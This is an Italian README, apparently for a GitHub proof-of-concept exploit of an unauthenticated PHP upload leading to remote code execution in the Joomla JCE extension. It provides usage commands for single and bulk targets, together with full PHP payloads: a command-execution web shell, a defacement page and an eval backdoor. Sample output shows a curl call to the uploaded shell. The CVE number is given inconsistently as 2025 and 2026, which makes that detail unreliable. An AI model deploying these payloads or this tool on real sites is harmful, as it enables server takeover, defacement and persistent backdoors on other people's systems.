
CVE-2025-48907 - Exploit RCE non autenticato per Joomla JCE < 2.9.99.5
Estensione JCE di Joomla! < 2.9.99.5 - Caricamento arbitrario di file PHP e esecuzione di codice remoto non autenticato
http.component:"Joomla"
app="Joomla"
Questo repository contiene un proof-of-concept (PoC) di exploit per CVE-2026-48907, una vulnerabilità critica nell'estensione JCE (Joomla Content Editor) di Joomla! nelle versioni precedenti alla 2.9.99.5. La vulnerabilità consente a attaccanti non autenticati di caricare file PHP arbitrari tramite la funzionalità di importazione dei profili JCE, portando a Esecuzione di Codice Remoto (RCE).
Questo strumento è solo per scopi educativi e test autorizzati.
- Utilizzalo solo su sistemi di tua proprietà o per i quali hai esplicito permesso di test
- L'autore non è responsabile per qualsiasi uso improprio o attività illegali
- Ottieni sempre la dovuta autorizzazione prima di eseguire test
index.php?option=com_jce&task=profiles.import)/tmp/ e può essere eseguito tramite accesso diretto# Clona il repository
git clone https://github.com/0xgh057r3c0n/CVE-2025-48907.git
cd CVE-2025-48907
# Installa le dipendenze richieste
pip3 install requests urllib3
requestsurllib3python3 CVE-2025-48907.py -u <URL_TARGET> -F <FILE_PHP_DA_CARICARE>
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F deface.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F backdoor.php
python3 CVE-2025-48907.py -f targets.txt -F payload.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php -v -o results.txt
* È necessario fornire -u o -f
Crea un file targets.txt con un URL per riga:
http://joomla-site1.com
https://joomla-site2.com
http://192.168.1.100/joomla
# I commenti vengono ignorati
https://example-joomla.com
Tutti i payload devono essere file PHP poiché l'exploit carica codice PHP che verrà eseguito sul server.
Crea shell.php:
<?php
// Simple PHP Web Shell
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "Usage: ?cmd=command";
}
?>
Crea deface.php:
<?php
// PHP Deface Page
echo '<!DOCTYPE html>
<html>
<head>
<title>Hacked by 0xgh057r3c0n</title>
<style>
body {
background: #000;
color: #0f0;
font-family: "Courier New", monospace;
text-align: center;
padding: 50px;
}
h1 { font-size: 4em; text-shadow: 0 0 20px #0f0; }
.ascii-art { white-space: pre; font-size: 12px; }
</style>
</head>
<body>
<h1>HACKED BY 0xgh057r3c0n</h1>
<div class="ascii-art">
██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗
██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
███████║███████║██║ █████╔╝ █████╗ ██║ ██║
██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██║ ██║
██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██████╔╝
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═════╝
</div>
<p>Security is not a product, it\'s a process.</p>
<p>Server: <?php echo $_SERVER["SERVER_SOFTWARE"]; ?></p>
<p>Time: <?php echo date("Y-m-d H:i:s"); ?></p>
</body>
</html>';
?>
Crea backdoor.php:
<?php
// Minimal PHP Backdoor
if(isset($_REQUEST['c'])) { eval($_REQUEST['c']); }
?>
_____________ _______________ _______________ ________ ________ _____ ______ ________________________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ / | | / __ \/ __ \ _ \______ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ / | |_> <\____ / /_\ \ / /
\ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / ^ / -- \ / /\ \_/ \/ /
\______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / \____ |\______ / /____/ \_____ /____/
\/ \/ \/ \/ \/ \/ |__| \/ \/
Estensione JCE di Joomla! < 2.9.99.5 RCE non autenticato
Autore : 0xgh057r3c0n (Caricamento file PHP)
[*] Caricati 3 target
[*] Target 1/3
[*] ==================================================
[+] Target: http://target-joomla.com
[+] Recupero token CSRF...
[+] Token CSRF: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] Caricamento file PHP: cve-2026-48907-1234.xml.php
[+] Profilo importato con successo!
[+] Test del file PHP caricato...
============================================================
[!!!!!] FILE PHP CARICATO CON SUCCESSO!
[!!!!!] IL SERVER È VULNERABILE a CVE-2025-48907!
============================================================
[+] Visualizza il file PHP caricato: http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php
[+] Accesso rapido:
curl "http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php?cmd=id"
/tmp/index.php?option=com_jce&task=profiles.import.xml.php in /tmp//tmp/Aggiorna l'estensione JCE:
Soluzioni temporanee:
/tmp/allow_url_fopen se non richiestoAzioni post-compromissione:
/tmp/Questo progetto è concesso in licenza con la MIT License - consulta il file LICENSE per i dettagli.
I contributi sono benvenuti! Sentiti libero di inviare una Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Aggiungi una AmazingFeature')git push origin feature/AmazingFeature)Se trovi utile questo strumento, considera di dargli una stella ⭐ su GitHub!
| Proprietà | Valore |
|---|
| ID CVE | CVE-2026-48907 |
| Prodotto | Estensione JCE di Joomla! |
| Versioni Affette | < 2.9.99.5 |
| Tipo di Vulnerabilità | Caricamento di file PHP non autenticato → RCE |
| Punteggio CVSS | 9.8 (Critico) |
| Vettore d'Attacco | Rete |
| Autenticazione | Nessuna richiesta |
| Impatto | Compromissione completa del sistema |
| Argomento | Obbligatorio | Descrizione |
|---|
-u, --url | Sì* | Singolo URL target (es. http://target.com) |
-f, --file | Sì* | File contenente l'elenco degli URL target (uno per riga) |
-F, --upload-file | Sì | File PHP da caricare (shell, backdoor, pagina di defacement) |
-v, --verbose | No | Abilita output verbose per debug |
-o, --output | No | Salva gli URL di upload riusciti in un file |